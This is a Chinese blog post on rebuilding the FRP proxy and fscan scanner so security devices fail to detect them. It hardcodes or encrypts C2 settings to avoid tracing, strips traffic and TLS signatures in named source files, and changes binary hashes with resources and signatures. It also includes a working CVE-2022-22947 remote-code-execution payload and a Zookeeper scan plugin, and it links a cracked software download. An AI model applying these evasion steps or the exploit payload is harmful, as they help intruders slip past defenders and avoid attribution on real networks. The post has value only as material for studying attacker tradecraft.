免杀对抗-安全工具篇&Go魔改二开&Fscan扫描&FRP代理&特征消除&新增拓展&打乱HASH

Ethan医生2周前工具31

 安全工具-Goland-FRP魔改二开-特征消除

 安全工具-Goland-FScan魔改二开-特征消除   (主要使用在前期内网信息打点 fscan -h IP地址)


#安全工具-Goland-FRP魔改二开-特征消除

在渗透测试过程中,有后渗透需求时,需要进行反向代理,最早接触的是frp工具,但是在使用过程当中会有配置文件落地,如果忘记删除的情况下容易被溯源C2地址。针对这种情况可以将配置文件的参数值写死在代码里,也可以写成接收参数的方式,或者写成接收密文的方式来避免直接被找到C2地址。官方版本的frp在默认配置传输过程中有一些明显的特征,在如今多种安全设备防护的内网会遭受到识别和拦截,如果不进行去除特征或者进行加密传输的话很可能会被设备拦截掉。针对这种情况,我们要进行了一些基本的参数测试和特征去除。

项目地址:https://github.com/fatedier/frp

0、打包编译:

make -f Makefile.cross-compiles

 

1、参数混淆

tls_enable = true

use_encryption = true

use_compression = true

 

2、基本特征

https://mp.weixin.qq.com/s/Dv2rO31T4SxCpnual5Saxw

改传参及源ip:

pkg/msg/msg.go

Login

StartWorkConn

 

改tls首字节:

pkg/util/net/tls.go

 

改版本:

pkg/util/version/version.go

 

3、流量特征

https://mp.weixin.qq.com/s/lab43p7Xh_OR7jlUIlA1xg

 

4、EXE处理

加资源和签名 打乱匹配hash值特征

 

#安全工具-Goland-FScan魔改二开-特征消除

Fscan是一款优秀的内网综合扫描工具,方便一键自动化、全方位漏扫扫描。在落地使用过程中流量及文件不修改的情况下基本被检测查杀,针对这种情况,我们要进行了一些基本的参数测试和特征去除外加功能拓展。

项目地址:https://github.com/shadow1ng/fscan

=>>源码解析

1、源码目录结构

2、目录对应功能

3、功能对应修改

 

=>>直接编译(匹配hash值)

https://github.com/shadow1ng/fscan

go build -ldflags="-s -w " -trimpath main.go

 

=>>DLL加载调用(加载改变)

main.go加入被调用init方法

gcc -o fscan_loader_c.exe main.c

go build -buildmode=c-shared -o fscan.dll ./main.go

 

=>>功能添加新POC

Yaml语法-案例-Vulhub

https://vulhub.org/#/environments/spring/CVE-2022-22947/

参考:https://github.com/chaosec2021/fscan-POC

 

name: poc-yaml-CVE-2022-22947

rules:

- method: POST

path: /actuator/gateway/routes/hacktest

headers:

Content-Type: application/json

body:

{

"id": "hacktest",

"filters": [ {

"name": "AddResponseHeader",

"args": {

"name": "Result",

"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"

}

} ],

"uri": "http://example.com"

}

expression: |

response.status == 201

detail:

author: xiaodisec

links:

- https://www.xiaodi8.com

 

 

=>>功能添加扫描项

1、创建Plugins/zookeeper.go

package Plugins

 

import (

"fmt"

"github.com/samuel/go-zookeeper/zk"

"github.com/wjlin0/fscan/common"

"time"

)

 

func ZookeeperConn(info *common.HostInfo) {

x := fmt.Sprintf("%s:%v", info.Host, info.Ports)

s := []string{x}

_, _, err := zk.Connect(s, time.Second*5)

//defer conn.Close()

if err != nil {

fmt.Println(err)

} else {

common.LogSuccess(fmt.Sprintf("unauthorized zookeeper %s", fmt.Sprintf("%v:%v", info.Host, info.Ports)))

//fmt.Println("zookeeper 连接成功!")

}

}

2、添加Plugins/base.go

"2181": ZookeeperConn,

 

3、添加common/config.go

"zooker": 2181,

"zooker": "2181",

 

4、编译打包运行测试

非web扫描开发

1、将扫描的端口服务对应写到config.go

2、base.go去写上端口击对应执行的函数

3、新建文件写函数利用代码

 

web扫描开发:

pocs目录下 yaml语法 保持和它官方一致即可


相关文章

【免杀】-魔改冰蝎behinder

【免杀】-魔改冰蝎behinder

【免杀】-魔改冰蝎冰蝎特征冰蝎有两个特征,其中有两个强特征分别是 两个固定Accept和数据包一大堆加密冰蝎默认的加解密方式六种解决1:绕过识别(魔改打乱指纹信息)解决2:绕过查杀(新增加密...

免杀对抗-安全工具篇&魔改二开CS&消除流量特征&Profile请求&个性主题&反编译去暗桩

免杀对抗-安全工具篇&魔改二开CS&消除流量特征&Profile请求&个性主题&反编译去暗桩

➢ 安全工具-配置修改-CS流量特征➢ 安全工具-魔改二开-CS个性化打造➢ 安全工具-魔改二开-CS免杀流量对抗#安全工具-配置修改-CS流量特征消除特征点:默认端口,...

APP隐私合规

APP隐私合规

#隐私合规-判断规则&检测项目对象:APP 小程序等具体:后续APP安全课程资料参考:https://mp.weixin.qq.com/s/SfCIx0mNxn_PDfXP_5SfOQ检测项目...

Metasploit Framework (MSF) 使用详解

Metasploit Framework (MSF) 是一款开源的渗透测试框架,广泛应用于网络安全领域。以下是MSF的详细使用指南:一、MSF基础1. 安装与启动Kali Linux:预装MSF,可直...

免杀对抗-安全工具篇&新型Go架构&C2-Sliver多平台&上线模式&红队集成研究&免杀方向

免杀对抗-安全工具篇&新型Go架构&C2-Sliver多平台&上线模式&红队集成研究&免杀方向

#安全工具-新型C2-Sliver使用详解Sliver C2 是一个开源的跨平台红队框架,采用Go开发,目前特征相对于CS更少!集成了MSF命令行运行模式,又结合了CS的优势特点,合并提供了两种操作模...

解压缩软件Bandizip v7.37 正式版破解专业版

解压缩软件Bandizip v7.37 正式版破解专业版

Bandizip,免费解压缩软件,号称速度最快的压缩和解压缩文件管理器。支持多核快速压缩、快速拖放,可以创建带密码和多卷的压缩包,可以提取包括RAR/RAR5/7Z/ZIP在内30多种格式,支持Win...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。